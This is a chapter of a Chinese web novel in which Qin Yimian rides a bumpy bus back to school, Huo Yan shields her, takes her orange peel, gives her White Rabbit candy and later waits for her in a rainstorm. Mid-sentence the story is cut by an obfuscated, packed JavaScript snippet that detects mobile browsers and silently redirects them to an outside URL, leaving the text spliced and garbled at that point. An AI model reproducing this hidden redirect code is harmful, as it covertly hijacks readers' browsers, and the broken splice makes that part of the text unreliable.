14. 第 14 章
作品:《穿成假千金后我捡了条疯狗》 周末两天的时间过得很快,秦意眠还没好好睡个觉就到了周天下午,今天就要返校了。
才出院子,就看见霍厌站在门口。
秦意眠从周婉手里接过书包,说:“妈,你不用送我了。”
周婉看了眼她,又看了穿着一身黑跟保镖似的霍厌,顿了下,柔声道:“好吧,在学校好好照顾自己。”
“嗯。”秦意眠应了声,随后微微偏头跟旁边的霍厌扬了扬精致的下颌。
霍厌也自然地接过秦意眠的淡绿色的书包,礼貌地跟周婉道别:“婉姨再见。”
周婉朝他点了点头,“你们两个路上注意安全。”
“好。”
看着两人的背影消失在拐角,周婉才不紧不慢地转身回了院子。
两人运气不错,在村口没等多长时间,去镇上的班车就来了。
车门一开,一股混合着柴油味、汗味和各种难闻气息的热浪扑面而来。秦意眠皱起眉,下意识往后缩了缩。
霍厌侧身挡在她前面,先上了车。车里已经有很多忍了,地上堆满了各种东西,他扫了一眼,带着她往后走。最后一排靠窗的位置空着,他把书包放上去占住,转身看她。秦意眠嘴角抿紧,快速地走过去坐下。
见她坐下,霍厌才把手收回来,站在她座位旁边。前面还有一个空位,但霍厌没动,他一只手吊着头顶的拉环,另一只手撑在她座椅靠背上方,替她隔出一点空间。
车子发动,颠簸着上了路。
秦意眠把脸转向车窗,虽然车窗打开着,但这趟车的司机开得太急了,总是急停急走,让人很不舒服。
霍厌低头看她。她脸对着车窗,睫毛微微颤着,手指攥着膝盖上的书包带子,指节泛白。
她这是晕车了。
又是一阵颠簸,秦意眠的胃开始翻涌,越发难受。片刻后,秦意眠忽然想到什么睁开眼,拉开书包的拉链,从里面摸出一个橘子。橘子不大,皮黄中带绿,是周婉昨天塞进她包里的。
她低头,用拇指指甲掐开一个小口,橘子皮的清香瞬间溢出来。顺着口子把皮一圈圈剥下来,动作不快,剥得也不完整,有几处断开了。白色的橘络还缠在果肉上,她一点一点细致地扯。
剥下来的橘子皮摊在掌心里,秦意眠拿起一小块放在鼻间,闻着清新的橘子味,感觉胃终于舒服了不少。
但还剩下一些橘子皮,一时间没地方仍,正当秦意眠思考着,一只宽大的手掌出现在她面前,掌心朝上。
是霍厌的手。
秦意眠看了他一眼。他没看她,目光落在她手里的橘子皮上,表情没什么变化,手却稳稳地摊在他面前,朝她轻轻点头,示意橘子皮给他。
她犹豫了一下,把剩下的橘子皮放在他掌心里。他的手指立刻合拢,将那团碎皮拢住。
见他毫无变化的神情,反倒是秦意眠自己有些不自在了,掩饰般地低头掰了一瓣橘子放进嘴里,酸甜的汁水在舌尖炸开。清新的柑橘气味冲进鼻腔,冲淡了周围的怪味,胃里的翻涌也平息了一些。
橘子很小,秦意眠把很快就吃完,手指上沾了橘皮的汁水,黏腻腻的。她从口袋里摸出一张纸巾,将手擦干净。
忽然,车子又颠了一下,她的肩膀撞上窗框。还没等她反应过来,霍厌的手立刻伸过来,手掌贴住玻璃,垫在她和车窗之间。
霍厌说:“快到了。”
秦意眠“嗯”了一声,没再靠窗,身体微微往他手臂的方向偏了偏。
班车差不多开了四十分钟,在镇上的车站停下。
下车,秦意眠第一时间是找垃圾桶,她一直记得那被霍厌一直握在掌心的橘子皮,她也不知自己为什么那么在意。
“垃圾桶在那边。”须臾后,秦意眠指了指车站出口的方向。
霍厌点头,转身走过去,把握了一路的橘子皮丢进垃圾桶。回来时,秦意眠已经背好包,站在路边等他。
“走吧。”她理了理被挤皱的衣角,迈步往学校的方向走。
霍厌跟在她身后,两手空空。掌心还残留着橘子皮的清香,和她指尖擦过时那一瞬间的温度。
快进校门时,霍厌叫住了她。
“等一下,”
秦意眠停下回头,霍厌站在原地,离她两三步远,手插在口袋里,没动。
她问:“怎么了?”
霍厌把手从口袋里抽出来,递向她。掌心里躺着一包大白兔奶糖。蓝色的包装纸,上面印着那只熟悉的白色兔子,鼓鼓囊囊的,看起来是鼓鼓的一包,没拆封。
秦意眠看了一眼奶糖,又看他,“怎么又给我买糖?”
“这个好吃。”霍厌低声说道,顿了下抬眸看她,“你要是喜欢别的,我下次给你买。”
他会努力,努力给她买最好、最贵、最好吃的糖果。
难道是上次她多吃几颗奶糖,霍厌就以为她喜欢吃。比起其他充满劣质香精的糖,大白兔奶糖显然要好吃很多,同样也要贵一些。
看着那双漆黑幽深的眼睛,秦意眠心头微动,她攥紧手里的糖,淡声道:“你不用这样。”
霍厌观察着秦意眠脸上的神色,在判断她不是生气,才缓声道:“这是我自愿的,而且你救了我。”
所以作为回报,我会一直听你的话,会竭力对你好,会为你奉献上我的一切。而你,什么都不用做,只需要允许我在你的身边就好。
或许是他看向她的目光太过认真专注,秦意眠眼睛微颤,一时间竟不敢直视他的眼睛,罕见地有些无措。
后面,秦意眠都不知道自己怎么回到寝室的。坐在桌前,看着手里那包奶糖,她微微愣了神。
-
在学校的时间依旧枯燥无聊。
在拿到这边所有的课本教材后,秦意眠看了两天,虽然和自己学得还是有些不同,但高中的知识翻来覆去也是那些,大同小异,重新学起来并不吃力。
说起来,秦意眠并没有参加过高考,穿书前在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469821|201416||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
国内读了两年高中,第三年就在准备出国留学的事宜,最后也拿到了好几个国外常青藤的offer。
所以现在学习对她来说并不是多大的问题,大部分时间不是在看课外书,就是拿手机玩自带的小游戏俄罗斯方块。分数越来越高,秦意眠也越来越无聊。
秦意眠不爱动,但下课的时候,窗边和走廊总是出现一些陌生的人,带着好奇惊讶的目光明里暗里地打量她。
她不喜欢这些目光,下了课也不爱待在教室,在外面百无聊赖地闲逛。
坐在香樟树下的长椅上,在心里烦躁时,秦意眠就会下意识吃颗奶糖,也会下意识想起某人,这种细微的变化连她自己都没察觉。
一个星期又这样不咸不淡地过去了。
到了周五,天空从清晨开始就阴沉沉的,铅灰色的云层低低压着,仿佛随时都会下起一场暴雨。
到了中午,积蓄已久的雨水终于滂沱而下,豆大的雨点密集地敲打着教室的窗户,发出噼里啪啦的声响,织成一片白茫茫的雨幕。
最后一节课的下课铃响起,很多人都没带伞,也没走出教室,都在等雨停。
秦意眠收拾好书本,站在教室门口,望着外面丝毫没有减弱趋势的暴雨,微微蹙起了眉。
虽然她带了伞,但雨下得那么大,今天还要回去吗?回去,就算有伞也避免不了被淋。
不回去也没关系,给村里小卖铺的老板打个电话,让他告诉周婉。电话号码是周婉给他的,小卖铺离秦家不远,有什么事可以打给他,老板会联系她。
只是……
她的目光不由自主地飘向了校门口的方向。雨太大了,视线模糊,什么也看不清。
心里有个声音在说:别回去了,这种天气,他大概也不会来。
另一个声音却更加固执地响起:万一呢?
这种犹豫不决的感觉让她有些烦躁。
她讨厌这种被无形绳索牵引的感觉,却又无法彻底忽视心底那点莫名的期待。
最终,那点说不清道不明的念头还是占了上风。她深吸一口气,从书包里拿出雨伞。
撑开伞,走入瓢泼大雨中。冰凉的雨水瞬间被风裹挟着打在脸上、身上。才走出校门几步,裤脚和鞋子就已经湿了大半,黏腻冰冷的感觉让她极其不适。
然而,就在她抬头试图辨认方向的那一刻,她的脚步猛地顿住了,心跳也仿佛漏跳了一拍。
在校门旁那处相对能避点雨的屋檐下,一个熟悉的身影,正静静地站在那里。
是霍厌。
他撑着一把黑色的大伞,身姿挺拔如松,仿佛与这雨幕和灰暗的背景融为一体。
雨水顺着屋檐淌下,在他脚边溅起细小的水花,他的裤腿和鞋子上也沾满了泥点,显然已经等了不短的时间。
他似乎有某种心灵感应般,在秦意眠看到他的瞬间,也倏然抬眸,目光穿透厚重的雨帘,精准地落在了她的身上。
四目相对。

